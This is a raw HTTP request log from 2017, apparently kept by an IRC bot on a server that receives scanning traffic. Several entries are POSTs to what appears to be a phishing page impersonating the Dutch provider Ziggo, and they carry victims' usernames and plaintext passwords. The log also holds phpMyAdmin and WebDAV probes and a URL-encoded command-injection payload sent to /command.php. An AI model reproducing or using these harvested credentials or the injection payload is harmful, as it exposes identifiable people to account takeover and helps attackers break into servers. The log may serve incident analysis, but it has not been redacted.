  5291. [12:35] <HTTP> Referer: http://172.86.120.218/phpmyadmin
  5292. [12:35] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
  5293. [12:35] <HTTP> Host: 172.86.120.218
  5294. [12:35] <HTTP> Socket initiated: 60.190.43.74
  5295. [12:35] <HTTP> GET /phpmyadmin HTTP/1.1
  5296. [12:35] <HTTP> Connection: Keep-Alive
  5297. [12:35] <HTTP> Content-Type: application/x-www-form-urlencoded
  5298. [12:35] <HTTP> Accept: */*
  5299. [12:35] <HTTP> Accept-Language: zh-cn
  5300. [12:35] <HTTP> Referer: http://172.86.120.218/phpmyadmin
  5301. [12:35] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
  5302. [12:35] <HTTP> Host: 172.86.120.218
  5303. [12:58] <HTTP> Socket initiated: 91.230.47.3
  5304. [12:58] <HTTP> GET / HTTP/1.0
  5305. [12:58] <HTTP> Connection: close
  5306. [15:11] <HTTP> Socket initiated: 91.230.47.3
  5307. [15:11] <HTTP> GET / HTTP/1.0
  5308. [15:11] <HTTP> Connection: close
  5309. [15:38] <HTTP> Socket initiated: 91.109.20.219
  5310. [15:38] <HTTP> POST / HTTP/1.1
  5311. [15:38] <HTTP> Host: 172.86.120.218
  5312. [15:38] <HTTP> Accept-Encoding: identity
  5313. [15:38] <HTTP> Connection: Keep-Alive
  5314. [15:38] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)
  5315. [15:38] <HTTP> TagId: 0
  5316. [15:38] <HTTP> Cache-Control: no-cache
  5317. [15:38] <HTTP> Content-Length: 0
  5318. [16:15] <HTTP> Socket initiated: 91.230.47.3
  5319. [16:15] <HTTP> GET / HTTP/1.0
  5320. [16:15] <HTTP> Connection: close
  5321. [17:33] <HTTP> Socket initiated: 212.83.70.57
  5322. [17:34] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  5323. [17:34] <HTTP> Host: ziggo.nl.hacked.jp
  5324. [17:34] <HTTP> Connection: keep-alive
  5325. [17:34] <HTTP> Content-Length: 116
  5326. [17:34] <HTTP> Cache-Control: max-age=0
  5327. [17:34] <HTTP> Origin: http://219.93.200.189
  5328. [17:34] <HTTP> Upgrade-Insecure-Requests: 1
  5329. [17:34] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 5.0.2; SM-G360F Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  5330. [17:34] <HTTP> Content-Type: application/x-www-form-urlencoded
  5331. [17:34] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5332. [17:34] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  5333. [17:34] <HTTP> Accept-Encoding: gzip, deflate
  5334. [17:34] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  5335. [17:34] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&=A.scheltinga&userId=A.sch&button=
  5336. [18:46] <HTTP> Socket initiated: 91.230.47.3
  5337. [18:46] <HTTP> GET / HTTP/1.0
  5338. [18:46] <HTTP> Connection: close
  5339. 02[19:05] * independent (independen@Owner.home-unix.com) Quit (Read error)
  5340. 03[19:05] * independent (independen@97A00772.16DE410C.CE86F8AC.IP) has joined ##ss
  5341. 02[19:37] * independent (independen@Owner.home-unix.com) Quit (Ping timeout: 60 seconds)
  5342. 03[19:47] * independent (independen@97A00772.16DE410C.CE86F8AC.IP) has joined ##ss
  5343. [19:50] <HTTP> Socket initiated: 91.230.47.3
  5344. [19:51] <HTTP> GET / HTTP/1.0
  5345. [19:51] <HTTP> Connection: close
  5346. [21:11] <HTTP> Socket initiated: 173.252.90.125
  5347. [21:11] <HTTP> GET / HTTP/1.1
  5348. [21:11] <HTTP> User-Agent: facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
  5349. [21:11] <HTTP> Accept: */*
  5350. [21:11] <HTTP> Accept-Encoding: deflate, gzip
  5351. [21:11] <HTTP> Range: bytes=0-524287
  5352. [21:11] <HTTP> Host: 172.86.120.218
  5353. [21:11] <HTTP> Connection: close
  5354. [21:54] <HTTP> Socket initiated: 73.196.16.90
  5355. [21:55] <HTTP> ^
  5356. [21:55] <HTTP> 2‡-??7fix+˛.8V
  5357. [21:57] <HTTP> Socket initiated: 91.230.47.3
  5358. [21:57] <HTTP> GET / HTTP/1.0
  5359. [21:57] <HTTP> Connection: close
  5360. [22:57] <HTTP> Socket initiated: 91.230.47.3
  5361. [22:57] <HTTP> GET / HTTP/1.0
  5362. [22:57] <HTTP> Connection: close
  5363. [22:57] <HTTP> Socket initiated: 113.168.122.142
  5364. [22:57] <HTTP> GET login.cgi HTTP/1.0
  5365. [23:16] <HTTP> Socket initiated: 46.209.210.18
  5366. [23:16] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5367. [23:16] <HTTP> Connection: Keep-Alive
  5368. [23:16] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5369. [23:16] <HTTP> translate: f
  5370. [23:16] <HTTP> Host: 172.86.120.218
  5371. [23:17] <HTTP> Socket initiated: 46.209.210.18
  5372. [23:17] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5373. [23:17] <HTTP> Connection: Keep-Alive
  5374. [23:17] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5375. [23:17] <HTTP> translate: f
  5376. [23:17] <HTTP> Host: 172.86.120.218
  5377. [23:39] <HTTP> Socket initiated: 191.181.86.97
  5378. [23:39] <HTTP> Socket initiated: 191.181.86.97
  5379. [23:39] <HTTP> GET /cgi/common.cgi HTTP/1.1
  5380. [23:39] <HTTP> Socket initiated: 191.181.86.97
  5381. [23:39] <HTTP> Accept: */*
  5382. [23:39] <HTTP> Host: 172.86.120.218
  5383. [23:39] <HTTP> User-Agent: Wget(linux)
  5384. [23:39] <HTTP> Socket initiated: 191.181.86.97
  5385. [23:39] <HTTP> GET /stssys.htm HTTP/1.1
  5386. [23:39] <HTTP> Accept: */*
  5387. [23:39] <HTTP> Host: 172.86.120.218
  5388. [23:39] <HTTP> User-Agent: Wget(linux)
  5389. [23:39] <HTTP> GET / HTTP/1.1
  5390. [23:39] <HTTP> Accept: */*
  5391. [23:39] <HTTP> Host: 172.86.120.218
  5392. [23:39] <HTTP> User-Agent: Wget(linux)
  5393. [23:39] <HTTP> POST /command.php HTTP/1.1
  5394. [23:39] <HTTP> Accept: */*
  5395. [23:39] <HTTP> Host: 172.86.120.218
  5396. [23:39] <HTTP> Content-Type: application/x-www-form-urlencoded
  5397. [23:39] <HTTP> User-Agent: Wget(linux)
  5398. [23:39] <HTTP> Content-Length: 208
  5399. [23:39] <HTTP> cmd=%63%64%20%2F%76%61%72%2F%74%6D%70%20%26%26%20%65%63%68%6F%20%2D%6E%65%20%5C%5C%78%33%36%31%30%63%6B%65%72%20%3E%20%36%31%30%63%6B%65%72%2E%74%78%74%20%26%26%20%63%61%74%20%36%31%30%63%6B%65%72%2E%74%78%74
  5400. Session Time: Sun Jun 04 00:00:00 2017
  5401. [00:15] <HTTP> Socket initiated: 177.52.72.138
  5402. [00:15] <HTTP> GET / HTTP/1.1
  5403. [00:15] <HTTP> User-Agent: curl/7.17.1 (mips-unknown-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.8i zlib/1.2.3
  5404. [00:15] <HTTP> Host: 172.86.120.218
  5405. [00:15] <HTTP> Accept: */*
  5406. [01:27] <HTTP> Socket initiated: 91.230.47.3
  5407. [01:27] <HTTP> GET / HTTP/1.0
  5408. [01:27] <HTTP> Connection: close
  5409. [01:56] <HTTP> Socket initiated: 84.107.33.78
  5410. [01:57] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  5411. [01:57] <HTTP> Host: ziggo.nl.hacked.jp
  5412. [01:57] <HTTP> Connection: keep-alive
  5413. [01:57] <HTTP> Content-Length: 107
  5414. [01:57] <HTTP> Cache-Control: max-age=0
  5415. [01:57] <HTTP> Origin: http://219.93.200.189
  5416. [01:57] <HTTP> Upgrade-Insecure-Requests: 1
  5417. [01:57] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  5418. [01:57] <HTTP> Content-Type: application/x-www-form-urlencoded
  5419. [01:57] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5420. [01:57] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  5421. [01:57] <HTTP> Accept-Encoding: gzip, deflate
  5422. [01:57] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  5423. [01:57] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&=&userId=wjvandam&password=&button=
  5424. [02:27] <HTTP> Socket initiated: 91.230.47.3
  5425. [02:27] <HTTP> GET / HTTP/1.0
  5426. [02:27] <HTTP> Connection: close
  5427. [04:42] <HTTP> Socket initiated: 84.25.31.52
  5428. [04:42] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  5429. [04:42] <HTTP> Accept: text/html, application/xhtml+xml, image/jxr, */*
  5430. [04:42] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  5431. [04:42] <HTTP> Accept-Language: nl-NL
  5432. [04:42] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  5433. [04:42] <HTTP> Content-Type: application/x-www-form-urlencoded
  5434. [04:42] <HTTP> Accept-Encoding: gzip, deflate
  5435. [04:42] <HTTP> Host: ziggo.nl.hacked.jp
  5436. [04:42] <HTTP> Content-Length: 111
  5437. [04:42] <HTTP> DNT: 1
  5438. [04:42] <HTTP> Connection: Keep-Alive
  5439. [04:43] <HTTP> Cache-Control: no-cache
  5440. [04:43] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Snoepie18&userId=Snoepie18&password=Fellow-2013&button=
  5441. [05:12] <HTTP> Socket initiated: 91.230.47.3
  5442. [05:12] <HTTP> GET / HTTP/1.0
  5443. [05:13] <HTTP> Connection: close
  5444. [06:16] <HTTP> Socket initiated: 91.230.47.3
  5445. [06:16] <HTTP> GET / HTTP/1.0
  5446. [06:16] <HTTP> Connection: close
  5447. [06:27] <HTTP> Socket initiated: 120.1.7.224
  5448. [06:27] <HTTP> GET /phpMyAdmin/scripts/setup.php HTTP/1.1
  5449. [06:27] <HTTP> Host: 172.86.120.218
  5450. [06:27] <HTTP> Socket initiated: 120.1.7.224
  5451. [06:27] <HTTP> GET /pma/scripts/setup.php HTTP/1.1
  5452. [06:27] <HTTP> Host: 172.86.120.218
  5453. [06:27] <HTTP> Socket initiated: 120.1.7.224
  5454. [06:27] <HTTP> GET /myadmin/scripts/setup.php HTTP/1.1
  5455. [06:27] <HTTP> Host: 172.86.120.218
  5456. [06:53] <HTTP> Socket initiated: 183.129.160.229
  5457. [06:53] <HTTP> GET / HTTP/1.1
  5458. [06:53] <HTTP> HOST: 172.86.120.218
  5459. [06:53] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
  5460. [06:53] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5461. [06:53] <HTTP> Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  5462. [06:53] <HTTP> Accept-Encoding: deflate
  5463. [06:54] <HTTP> Connection: keep-alive
  5464. [07:48] <HTTP> Socket initiated: 91.189.36.109
  5465. [07:48] <HTTP> GET /userlogin/login.aspx HTTP/1.1
  5466. [07:48] <HTTP> Host: www.gtmcom.net
  5467. [08:19] <HTTP> Socket initiated: 91.230.47.3
  5468. [08:19] <HTTP> GET / HTTP/1.0
  5469. [08:19] <HTTP> Connection: close
  5470. [09:19] <HTTP> Socket initiated: 91.230.47.3
  5471. [09:19] <HTTP> GET / HTTP/1.0
  5472. [09:19] <HTTP> Connection: close
  5473. [10:49] <HTTP> Socket initiated: 91.189.36.70
  5474. [10:49] <HTTP> GET / HTTP/1.1
  5475. [10:49] <HTTP> Host: www.pokuton.com
  5476. [11:47] <HTTP> Socket initiated: 89.248.172.90
  5477. [11:47] <HTTP> Socket initiated: 89.248.172.90
  5478. [11:47] <HTTP> GET http://httpheader.net/ HTTP/1.1
  5479. [11:47] <HTTP> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729)
  5480. [11:47] <HTTP> Socket initiated: 89.248.172.90
  5481. [11:47] <HTTP> Socket initiated: 89.248.172.90
  5482. [11:47] <HTTP> Host: httpheader.net
  5483. [11:47] <HTTP> Socket initiated: 89.248.172.90
  5484. [11:47] <HTTP> Accept-Encoding: deflate, gzip
  5485. [11:47] <HTTP> Proxy-Connection: Keep-Alive
  5486. [11:47] <HTTP> Accept-Language: en-gb,en;q=0.5
  5487. [11:47] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5488. [11:47] <HTTP> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  5489. [11:47] <HTTP> Pragma: no-cache
  5490. [11:47] <HTTP> Cache-Control: no-cache
  5491. [11:47] <HTTP> CONNECT www.ziggo.nl:443 HTTP/1.1
  5492. [11:47] <HTTP> Host: www.ziggo.nl:443
  5493. [11:47] <HTTP> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729)
  5494. [11:47] <HTTP> Proxy-Connection: Keep-Alive
  5495. [11:47] <HTTP> Accept-Language: en-gb,en;q=0.5
  5496. [11:47] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5497. [11:47] <HTTP> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  5498. [11:47] <HTTP> Pragma: no-cache
  5499. [11:47] <HTTP> Cache-Control: no-cache
  5500. [11:47] <HTTP> GET http://httpheader.net/ HTTP/1.1
  5501. [11:47] <HTTP> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729)
  5502. [11:47] <HTTP> Host: httpheader.net
  5503. [11:47] <HTTP> Accept-Encoding: deflate, gzip
  5504. [11:47] <HTTP> Proxy-Connection: Keep-Alive
  5505. [11:47] <HTTP> Accept-Language: en-gb,en;q=0.5
  5506. [11:47] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5507. [11:48] <HTTP> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  5508. [11:48] <HTTP> Pragma: no-cache
  5509. [11:48] <HTTP> Cache-Control: no-cache
  5510. [11:48] <HTTP> CONNECT www.ziggo.nl:443 HTTP/1.1
  5511. [11:48] <HTTP> Host: www.ziggo.nl:443
  5512. [11:48] <HTTP> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729)
  5513. [11:48] <HTTP> Proxy-Connection: Keep-Alive
  5514. [11:48] <HTTP> Accept-Language: en-gb,en;q=0.5
  5515. [11:48] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5516. [11:48] <HTTP> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  5517. [11:48] <HTTP> Pragma: no-cache
  5518. [11:48] <HTTP> Cache-Control: no-cache
  5519. [11:48] <HTTP> 
  5520. [11:48] <HTTP> 
  5521. [12:00] <HTTP> Socket initiated: 91.230.47.3
  5522. [12:00] <HTTP> GET / HTTP/1.0
  5523. [12:00] <HTTP> Connection: close
  5524. [13:02] <HTTP> Socket initiated: 91.230.47.3
  5525. [13:02] <HTTP> GET / HTTP/1.0
  5526. [13:02] <HTTP> Connection: close
  5527. [13:16] <HTTP> Socket initiated: 83.82.112.195
  5528. [13:16] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  5529. [13:16] <HTTP> Host: ziggo.nl.hacked.jp
  5530. [13:16] <HTTP> Connection: keep-alive
  5531. [13:16] <HTTP> Content-Length: 109
  5532. [13:16] <HTTP> Cache-Control: max-age=0
  5533. [13:16] <HTTP> Origin: http://219.93.200.189
  5534. [13:16] <HTTP> Upgrade-Insecure-Requests: 1
  5535. [13:16] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-A510F Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  5536. [13:16] <HTTP> Content-Type: application/x-www-form-urlencoded
  5537. [13:16] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5538. [13:16] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  5539. [13:16] <HTTP> Accept-Encoding: gzip, deflate
  5540. [13:16] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  5541. [13:16] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=erik1810&userId=erik1810&password=18%25%40E70&button=
  5542. [14:52] <HTTP> Socket initiated: 31.210.102.114
  5543. [14:52] <HTTP> GET / HTTP/1.0
  5544. [14:52] <HTTP> User-Agent: masscan/1.0 (https://github.com/robertdavidgraham/masscan)
  5545. [14:52] <HTTP> Accept: */*
  5546. [15:10] <HTTP> Socket initiated: 216.45.54.8
  5547. [15:10] <HTTP> GET /CFIDE/administrator/ HTTP/1.1
  5548. [15:10] <HTTP> Host: 172.86.120.218
  5549. [15:10] <HTTP> Connection: Keep-Alive
  5550. [15:15] <HTTP> Socket initiated: 91.230.47.3
  5551. [15:15] <HTTP> GET / HTTP/1.0
  5552. [15:15] <HTTP> Connection: close
  5553. [15:28] <HTTP> Socket initiated: 141.212.122.96
  5554. [15:29] <HTTP> GET /x HTTP/1.1
  5555. [15:29] <HTTP> User-Agent: Telesphoreo
  5556. [16:15] <HTTP> Socket initiated: 91.230.47.3
  5557. [16:15] <HTTP> GET / HTTP/1.0
  5558. [16:15] <HTTP> Connection: close
  5559. [17:57] <HTTP> Socket initiated: 85.194.157.99
  5560. [17:57] <HTTP> Socket initiated: 84.217.90.104
  5561. [17:57] <HTTP> GET / HTTP/1.1
  5562. [17:57] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
  5563. [17:58] <HTTP> Accept: */*
  5564. [17:58] <HTTP> Host: 172.86.120.218
  5565. [17:58] <HTTP> Connection: close
  5566. [18:56] <HTTP> Socket initiated: 91.230.47.3
  5567. [18:56] <HTTP> GET / HTTP/1.0
  5568. [18:56] <HTTP> Connection: close
  5569. [19:59] <HTTP> Socket initiated: 91.230.47.3
  5570. [19:59] <HTTP> GET / HTTP/1.0
  5571. [19:59] <HTTP> Connection: close
  5572. 02[21:11] * independent (independen@Owner.home-unix.com) Quit (irc-2.home-unix.com irc-3.home-unix.com)
  5573. 03[21:12] * independent (independen@97A00772.16DE410C.CE86F8AC.IP) has joined ##ss
  5574. [22:24] <HTTP> Socket initiated: 91.230.47.3
  5575. [22:24] <HTTP> GET / HTTP/1.0
  5576. [22:24] <HTTP> Connection: close
  5577. [22:56] <HTTP> Socket initiated: 54.187.111.88
  5578. [22:56] <HTTP> GET / HTTP/1.1
  5579. [22:56] <HTTP> Host: 172.86.120.218
  5580. [22:56] <HTTP> Connection: close
  5581. [22:56] <HTTP> Accept-Encoding: gzip
  5582. [22:56] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
  5583. [22:56] <HTTP> Connection: close
  5584. 02[23:10] * independent (independen@97A00772.16DE410C.CE86F8AC.IP) Quit (irc-2.home-unix.com irc-1.home-unix.com)
  5585. 03[23:11] * independent (independen@Owner.home-unix.com) has joined ##ss
  5586. [23:26] <HTTP> Socket initiated: 91.230.47.3
  5587. [23:26] <HTTP> GET / HTTP/1.0
  5588. [23:26] <HTTP> Connection: close
  5589. Session Time: Mon Jun 05 00:00:00 2017
  5590. [00:09] <HTTP> Socket initiated: 139.162.108.53
  5591. [00:09] <HTTP> GET / HTTP/1.1
  5592. [00:09] <HTTP> Host: 172.86.120.218
  5593. [00:09] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
  5594. [00:09] <HTTP> Connection: close
  5595. [02:00] <HTTP> Socket initiated: 84.25.2.158
  5596. [02:00] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  5597. [02:00] <HTTP> Host: ziggo.nl.hacked.jp
  5598. [02:00] <HTTP> Connection: keep-alive
  5599. [02:00] <HTTP> Content-Length: 119
  5600. [02:00] <HTTP> Cache-Control: max-age=0
  5601. [02:00] <HTTP> Origin: http://219.93.200.189
  5602. [02:00] <HTTP> Upgrade-Insecure-Requests: 1
  5603. [02:00] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; GT-I9515 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  5604. [02:00] <HTTP> Content-Type: application/x-www-form-urlencoded
  5605. [02:00] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5606. [02:00] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  5607. [02:00] <HTTP> Accept-Encoding: gzip, deflate
  5608. [02:00] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  5609. [02:00] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Peterstevens1&userId=Peterstevens1&password=Peter130169&button=
  5610. [02:08] <HTTP> Socket initiated: 91.230.47.3
  5611. [02:08] <HTTP> GET / HTTP/1.0
  5612. [02:08] <HTTP> Connection: close
  5613. [03:10] <HTTP> Socket initiated: 91.230.47.3
  5614. [03:11] <HTTP> GET / HTTP/1.0
  5615. [03:11] <HTTP> Connection: close
  5616. [03:55] <HTTP> Socket initiated: 94.213.51.5
  5617. [03:55] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  5618. [03:55] <HTTP> Host: ziggo.nl.hacked.jp
  5619. [03:55] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
  5620. [03:55] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5621. [03:55] <HTTP> Accept-Language: en-US,en;q=0.5
  5622. [03:55] <HTTP> Accept-Encoding: gzip, deflate
  5623. [03:55] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  5624. [03:55] <HTTP> Connection: keep-alive
  5625. [03:55] <HTTP> Upgrade-Insecure-Requests: 1
  5626. [03:55] <HTTP> Content-Type: application/x-www-form-urlencoded
  5627. [03:55] <HTTP> Content-Length: 106
  5628. [03:55] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=dolle108&userId=dolle108&password=Anes1013&button=
  5629. [04:46] <HTTP> Socket initiated: 222.186.31.153
  5630. [04:46] <HTTP> GET / HTTP/1.1
  5631. [04:46] <HTTP> Host: www.lwxs520.com
  5632. [05:39] <HTTP> Socket initiated: 91.230.47.3
  5633. [05:39] <HTTP> GET / HTTP/1.0
  5634. [05:39] <HTTP> Connection: close
  5635. [06:41] <HTTP> Socket initiated: 91.230.47.3
  5636. [06:41] <HTTP> GET / HTTP/1.0
  5637. [06:41] <HTTP> Connection: close
  5638. [07:05] <HTTP> Socket initiated: 180.243.153.225
  5639. [07:06] <HTTP> GET / HTTP/1.0
  5640. [07:08] <HTTP> Socket initiated: 177.86.23.253
  5641. [07:08] <HTTP> GET / HTTP/1.1
  5642. [07:08] <HTTP> User-Agent: curl/7.17.1 (mips-unknown-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.8i zlib/1.2.3
  5643. [07:08] <HTTP> Host: 172.86.120.218
  5644. [07:08] <HTTP> Accept: */*
  5645. 02[07:29] * independent (independen@Owner.home-unix.com) Quit (Ping timeout: 60 seconds)
  5646. [08:25] <HTTP> Socket initiated: 60.191.38.77
  5647. [08:26] <HTTP> GET / HTTP/1.1
  5648. [08:26] <HTTP> HOST: 172.86.120.218
  5649. [08:26] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
  5650. [08:26] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5651. [08:26] <HTTP> Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  5652. [08:26] <HTTP> Accept-Encoding: deflate
  5653. [08:26] <HTTP> Connection: keep-alive
  5654. [08:55] <HTTP> Socket initiated: 91.230.47.3
  5655. [08:55] <HTTP> GET / HTTP/1.0
  5656. [08:55] <HTTP> Connection: close
  5657. [09:59] <HTTP> Socket initiated: 91.230.47.3
  5658. [09:59] <HTTP> GET / HTTP/1.0
  5659. [09:59] <HTTP> Connection: close
  5660. [10:01] <HTTP> Socket initiated: 190.181.64.234
  5661. [10:01] <HTTP> GET / HTTP/1.1
  5662. [10:01] <HTTP> User-Agent: curl/7.17.1 (mips-unknown-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.8i zlib/1.2.3
  5663. [10:01] <HTTP> Host: 172.86.120.218
  5664. [10:01] <HTTP> Accept: */*
  5665. 03[11:54] * independent (independen@97A00772.16DE410C.CE86F8AC.IP) has joined ##ss
  5666. [12:01] <HTTP> Socket initiated: 185.84.137.64
  5667. [12:01] <HTTP> GET /userlogin/login.aspx HTTP/1.1
  5668. [12:01] <HTTP> Host: www.gtmcom.net
  5669. [12:17] <HTTP> Socket initiated: 91.230.47.3
  5670. [12:17] <HTTP> GET / HTTP/1.0
  5671. [12:17] <HTTP> Connection: close
  5672. [12:33] <HTTP> Socket initiated: 83.81.6.207
  5673. [12:33] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  5674. [12:33] <HTTP> Host: ziggo.nl.hacked.jp
  5675. [12:33] <HTTP> Content-Type: application/x-www-form-urlencoded
  5676. [12:33] <HTTP> Origin: http://219.93.200.189
  5677. [12:33] <HTTP> Accept-Encoding: gzip, deflate
  5678. [12:33] <HTTP> Connection: keep-alive
  5679. [12:33] <HTTP> Upgrade-Insecure-Requests: 1
  5680. [12:33] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5681. [12:33] <HTTP> User-Agent: Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  5682. [12:33] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  5683. [12:33] <HTTP> Content-Length: 110
  5684. [12:33] <HTTP> Accept-Language: nl-nl
  5685. [12:33] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Stientje01&userId=Stientje01&password=1951bz94&button=
  5686. [13:20] <HTTP> Socket initiated: 91.230.47.3
  5687. [13:20] <HTTP> GET / HTTP/1.0
  5688. [13:20] <HTTP> Connection: close
  5689. [15:55] <HTTP> Socket initiated: 91.230.47.3
  5690. [15:55] <HTTP> GET / HTTP/1.0
  5691. [15:56] <HTTP> Connection: close
  5692. [16:23] <HTTP> Socket initiated: 46.209.210.18
  5693. [16:23] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5694. [16:23] <HTTP> Connection: Keep-Alive
  5695. [16:23] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5696. [16:23] <HTTP> translate: f
  5697. [16:23] <HTTP> Host: 172.86.120.218
  5698. [16:24] <HTTP> Socket initiated: 46.209.210.18
  5699. [16:24] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5700. [16:24] <HTTP> Connection: Keep-Alive
  5701. [16:24] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5702. [16:24] <HTTP> translate: f
  5703. [16:24] <HTTP> Host: 172.86.120.218
  5704. [16:25] <HTTP> Socket initiated: 46.209.210.18
  5705. [16:25] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5706. [16:25] <HTTP> Connection: Keep-Alive
  5707. [16:25] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5708. [16:25] <HTTP> translate: f
  5709. [16:25] <HTTP> Host: 172.86.120.218
  5710. [16:49] <HTTP> Socket initiated: 84.105.34.209
  5711. [16:49] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  5712. [16:49] <HTTP> Host: ziggo.nl.hacked.jp
  5713. [16:49] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
  5714. [16:49] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5715. [16:49] <HTTP> Accept-Language: nl,en-US;q=0.7,en;q=0.3
  5716. [16:49] <HTTP> Accept-Encoding: gzip, deflate
